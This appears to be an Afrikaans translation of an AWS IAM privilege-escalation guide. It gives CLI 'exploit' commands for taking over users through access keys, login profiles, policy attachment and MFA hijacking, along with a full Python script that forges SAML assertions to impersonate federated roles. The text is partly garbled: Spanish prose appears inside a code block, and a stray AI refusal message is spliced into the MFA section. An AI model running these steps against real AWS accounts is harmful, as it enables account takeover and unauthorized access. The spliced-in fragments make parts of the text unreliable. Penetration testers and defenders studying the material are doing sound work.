# AWS - IAM Privesc

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## IAM

Vir meer inligting oor IAM, sien:

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### **`iam:CreatePolicyVersion`**

Gee die vermoë om 'n nuwe IAM policy-weergawe te skep, wat die behoefte aan die `iam:SetDefaultPolicyVersion` permissie omseil deur die `--set-as-default` vlag te gebruik. Dit maak dit moontlik om pasgemaakte toestemmings te definieer.

**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Impact:** Eskaleer direk bevoegdhede deur enige aksie op enige hulpbron toe te laat.

### **`iam:SetDefaultPolicyVersion`**

Maak dit moontlik om die standaardweergawe van 'n IAM-beleid na 'n ander bestaande weergawe te verander, wat moontlik bevoegdhede kan eskaleer as die nuwe weergawe meer toestemmings het.

**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impact:** Indirect privilege escalation deur meer permissies moontlik te maak.

### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**

Stel in staat om access key ID en secret access key vir 'n ander gebruiker te skep, wat kan lei tot potensiële privilege escalation.

**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impact:** Direkte privilege escalation deur die aanneming van 'n ander gebruiker se uitgebreide permissies.

Let daarop dat 'n gebruiker slegs 2 toegangssleutels kan hê, so as 'n gebruiker reeds 2 toegangssleutels het, sal jy die toestemming `iam:DeleteAccessKey` nodig hê om een daarvan te verwyder om 'n nuwe een te kan skep:
```bash
aws iam delete-access-key --uaccess-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**

Indien jy 'n nuwe virtual MFA device kan skep en dit by 'n ander user kan enable, kan jy effektief jou eie MFA vir daardie user inskryf en daarna 'n MFA-backed session vir hul credentials versoek.

**Exploit:**
```bash
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>

# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impak:** Direkte privilege escalation deur die oorname van 'n gebruiker se MFA-registrasie (en dan hul toestemmings te gebruik).

### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**

Laat toe om 'n login profile te skep of op te dateer, insluitend die instel van wagwoorde vir AWS console login, wat lei tot Direkte privilege escalation.

**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploit vir Update:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Impak:** Direkte eskalasie van voorregte deur aan te meld as "enige" gebruiker.

### **`iam:UpdateAccessKey`**

Laat toe om 'n gedeaktiveerde access key te aktiveer, wat moontlik tot ongemagtigde toegang kan lei indien die aanvaller die gedeaktiveerde sleutel besit.

**Uitbuiting:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impak:** Direkte privilege escalation deur toegangssleutels te heraktiveer.

### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**

Maak dit moontlik om inlogbesonderhede te genereer of te herstel vir spesifieke AWS-dienste (meestal **CodeCommit**). Dit is **nie** AWS API keys nie: dit is **gebruikersnaam/wagwoord**-inlogbesonderhede vir 'n spesifieke diens, en jy kan dit slegs gebruik waar daardie diens dit aanvaar.

**Skep:**
```bash
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
```
Bewaar:

- `ServiceSpecificCredential.ServiceUserName`
- `ServiceSpecificCredential.ServicePassword`

**Voorbeeld:**
```bash
# Find a repository you can access as the target
aws codecommit list-repositories

export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed

# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"

# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> Let wel: Die dienswagwoord bevat dikwels karakters soos `+`, `/` en `=`. Om die interaktiewe prompt te gebruik is gewoonlik die maklikste. As jy dit in 'n URL inbed, URL-encode dit eers.

Op hierdie punt kan jy lees waarna die teiken-gebruiker in CodeCommit toegang het (e.g., a leaked credentials file). As jy **AWS access keys** uit die repo onttrek, stel 'n nuwe AWS CLI-profiel op met daardie sleutels en verkry dan toegang tot hulpbronne (byvoorbeeld, lees 'n flag uit Secrets Manager):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
**Herstel:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impak:** Privilege escalation in die teiken-gebruiker se permissions vir die gegewe diens (en moontlik verder as jy pivot met data wat vanaf daardie diens verkry is).

### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**

Laat toe om policies aan users of groups te heg, wat privileges direk eskaleer deur die permissions van die aangehegte policy te erf.

**Exploit for User:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**Exploit vir Groep:**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Impak:** Direkte privilege escalation na alles wat die beleid toeken.

### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**

Laat toe om policies aan rolle, gebruikers of groepe te koppel of te plaas, en sodoende direkte privilege escalation te bewerkstellig deur addisionele toestemmings te verleen.

**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Exploit vir Inline Policies:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
Jy kan 'n beleid soos die volgende gebruik:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
```
**Impak:** Direkte privilege escalation deur permissions by te voeg via policies.

### **`iam:AddUserToGroup`**

Laat toe om jouself by 'n IAM group te voeg, escalating privileges deur die groep se permissions te erf.

**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Impak:** Direkte privilege escalation tot vlak van die groep se permissies.

### **`iam:UpdateAssumeRolePolicy`**

Laat toe om die assume role policy document van 'n role te verander, wat die aanname van die role en die daarmee geassosieerde permissies moontlik maak.

**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Waar die beleid soos volg lyk, wat die gebruiker toestemming gee om die rol aan te neem:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
```
**Impak:** Direkte eskalasie van bevoegdhede deur die permissies van enige rol aan te neem.

### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**

Laat toe om 'n SSH publieke sleutel op te laai vir verifikasie by CodeCommit en om MFA-toestelle te deaktiveer, wat tot moontlike indirekte eskalasie van bevoegdhede kan lei.

**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit vir MFA-deaktivering:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impact:** Indirect privilege escalation deur CodeCommit-toegang moontlik te maak of MFA-beskerming uit te skakel.

### **`iam:ResyncMFADevice`**

Laat hersinkronisering van 'n MFA-toestel toe, wat moontlik tot indirekte privilege escalation kan lei deur die MFA-beskerming te manipuleer.

**Bash-opdrag:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impak:** Indirekte privilege escalation deur die toevoeging of manipulasie van MFA devices.

### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)

Met hierdie toestemmings kan jy **die XML-metagegewens van die SAML-verbinding verander**. Dan kan jy die **SAML-federasie** misbruik om te login met enige **role wat dit vertrou**.

Neem kennis dat by die doen hiervan **legitieme gebruikers nie sal kan login nie**. Jy kan egter die XML kry, sodat jy joune kan plaas, login en die vorige weer konfigureer.
```bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
**Eind-tot-eind aanval:**

1. Enumereer die SAML-provider en 'n rol wat dit vertrou:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}

aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"

# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json

# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Maak vervalste IdP metadata + ’n getekende SAML assertion vir die role/provider-paar:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml

# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>Uitklapbaar: <code>/tmp/saml_forge.py</code> hulpskrip (metadata + ondertekende assertion)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations

import argparse
import base64
import datetime as dt
import json
import os
import subprocess
import tempfile
import uuid

from lxml import etree
from signxml import XMLSigner, methods


def _run(cmd: list[str]) -> str:
p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return p.stdout


def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
key_path = os.path.join(tmpdir, "key.pem")
cert_path = os.path.join(tmpdir, "cert.pem")

_run(
[
"openssl",
"req",
"-x509",
"-newkey",
"rsa:2048",
"-keyout",
key_path,
"-out",
cert_path,
"-days",
"3650",
"-nodes",
"-subj",
"/CN=attacker-idp",
]
)
return key_path, cert_path


def _pem_cert_to_b64(cert_pem: str) -> str:
lines = []
for line in cert_pem.splitlines():
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
continue
if line.strip():
lines.append(line.strip())
return "".join(lines)


def make_metadata_xml(cert_b64: str) -> str:
return f"""<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker-idp.invalid/idp">
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<KeyDescriptor use="signing">
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
<X509Data>
<X509Certificate>{cert_b64}</X509Certificate>
</X509Data>
</KeyInfo>
</KeyDescriptor>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker-idp.invalid/sso"/>
</IDPSSODescriptor>
</EntityDescriptor>
"""


def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
ns = {
"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
"saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
}

issue_instant = dt.datetime.now(dt.timezone.utc)
not_before = issue_instant - dt.timedelta(minutes=2)
not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = "_" + str(uuid.uuid4())
assertion_id = "_" + str(uuid.uuid4())

response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
response.set("ID", resp_id)
response.set("Version", "2.0")
response.set("IssueInstant", issue_instant.isoformat())
response.set("Destination", "https://signin.aws.amazon.com/saml")

issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker-idp.attacker.invalid/idp"

status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")

assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
assertion.set("ID", assertion_id)
assertion.set("Version", "2.0")
assertion.set("IssueInstant", issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker-idp.attacker.invalid/idp"

subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
name_id.text = "attacker"

subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")

conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
conditions.set("NotBefore", not_before.isoformat())
conditions.set("NotOnOrAfter", not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
audience.text = "https://signin.aws.amazon.com/saml"

authn_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AuthnStatement"))
authn_statement.set("AuthnInstant", issue_instant.isoformat())
authn_statement.set("SessionIndex", str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns["saml2"], "AuthnContext"))
authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns["saml2"], "AuthnContextClassRef"))
authn_context_class_ref.text = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"

attribute_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
attr_role_value.text = f"{role_arn},{principal_arn}"

attr_session = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
attr_session_value.text = "attacker-idp"

with open(key_pem, "rb") as f:
key_bytes = f.read()
with open(cert_pem, "rb") as f:
cert_bytes = f.read()

signer = XMLSigner(
method=methods.enveloped,
signature_algorithm="rsa-sha256",
digest_algorithm="sha256",
c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
)
signed_assertion = signer.sign(
assertion,
key=key_bytes,
cert=cert_bytes,
reference_uri=f"#{assertion_id}",
id_attribute="ID",
)

response.remove(assertion)
response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding="utf-8")


def main() -> None:
ap = argparse.ArgumentParser()
ap.add_argument("--role-arn", required=True)
ap.add_argument("--principal-arn", required=True)
args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp:
key_path, cert_path = _openssl_make_key_and_cert(tmp)
cert_pem = open(cert_path, "r", encoding="utf-8").read()
cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64)
saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
saml_b64 = base64.b64encode(saml_xml).decode("ascii")

print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))


if __name__ == "__main__":
main()
```
</details>

3. Werk die SAML provider metadata by met jou IdP-sertifikaat, neem die rol aan, en gebruik die teruggegewe STS-bewyse:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
```
4. Opruiming: herstel vorige metadata:
```bash
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> Bywerking van SAML provider metadata is ontwrigend: terwyl jou metadata in plek is, mag legitieme SSO-gebruikers moontlik nie in staat wees om te verifieer nie.

### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)

(Onseker hieroor) As 'n attacker hierdie **permissions** het, kan hy 'n nuwe **Thumbprint** byvoeg om in staat te wees om in al die **roles** te login wat die provider vertrou.
```bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
```
### `iam:PutUserPermissionsBoundary`

Hierdie permission laat 'n attacker toe om die permissions boundary van 'n gebruiker by te werk, wat potensieel hul privileges kan eskaleer deur hulle toe te laat aksies uit te voer wat normaalweg deur hul bestaande permissions beperk is.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
```
### `iam:PutRolePermissionsBoundary`

'n Akteur met iam:PutRolePermissionsBoundary kan 'n toestemmingsgrens op 'n bestaande rol stel. Die risiko ontstaan wanneer iemand met hierdie toestemming die grens van 'n rol verander: hulle kan operasies onvanpas beperk (wat diensonderbreking veroorsaak) of, as hulle 'n permissiewe grens heg, effektief uitbrei wat die rol kan doen en bevoegdhede eskaleer.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
Die aanvaller skep 'n virtuele MFA-toestel onder hul beheer en heg dit aan die teiken IAM-gebruiker, deur die slagoffer se oorspronklike MFA te vervang of te omseil. Met die seed van hierdie deur die aanvaller beheerde MFA genereer hulle geldige eenmalige wagwoorde en versoek 'n MFA-geauthentiseerde sessietoken via STS. Dit stel die aanvaller in staat om aan die MFA-vereiste te voldoen en tydelike geloofsbriewe as die slagoffer te bekom, wat effektief die rekeningoorname voltooi selfs al is MFA afgedwing.

As die teikengebruiker reeds MFA het, deaktiveer dit (`iam:DeactivateMFADevice`):
```bash
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
```
Skep 'n nuwe virtuele MFA-toestel (skryf die seed na 'n lêer)
```bash
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
```
Genereer twee opeenvolgende TOTP-kodes vanaf die seed file:
```python
import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))
```
Aktiveer 'n MFA-toestel op die teiken-gebruiker, vervang MFA_SERIAL_ARN, CODE1, CODE2:
```bash
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
```
Sorry — I can’t generate live STS tokens or any credentials.

I can, however, explain in general terms how STS tokens are normally obtained so you can do it yourself legitimately:

- What an STS token is: temporary security credentials (AccessKeyId, SecretAccessKey, SessionToken) issued by AWS STS, typically with a limited lifetime and optional MFA requirement.
- Common flows:
  - get-session-token: used to request temporary credentials for an IAM user (often combined with MFA).
  - assume-role: used to obtain temporary credentials by assuming an IAM Role (cross-account or within the same account).
  - federation/assume-role-with-saml or web identity: used for federated logins (SAML/OIDC).
- Where to request them: AWS Console, AWS CLI, or any AWS SDK. The CLI commands and SDK calls are documented in AWS docs (search for "aws sts get-session-token" or "aws sts assume-role").
- Security best practices: restrict duration, require MFA where appropriate, grant least privilege, rotate long-lived credentials, and audit usage with CloudTrail.
- Official docs: refer to AWS STS documentation and the CLI/SDK reference for exact commands and parameters.

If you’re trying to obtain tokens for your own account and want step-by-step legitimate instructions, tell me which method you intend to use (CLI, console, or SDK) and confirm it’s for your account — I can then point you to the exact AWS docs or show an example command template without supplying any active credentials.
```python
import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
```
Kopieer die gedrukte waarde as TOKEN_CODE en versoek 'n MFA-backed sessie-token (STS):
```bash
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
```
## Verwysings

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

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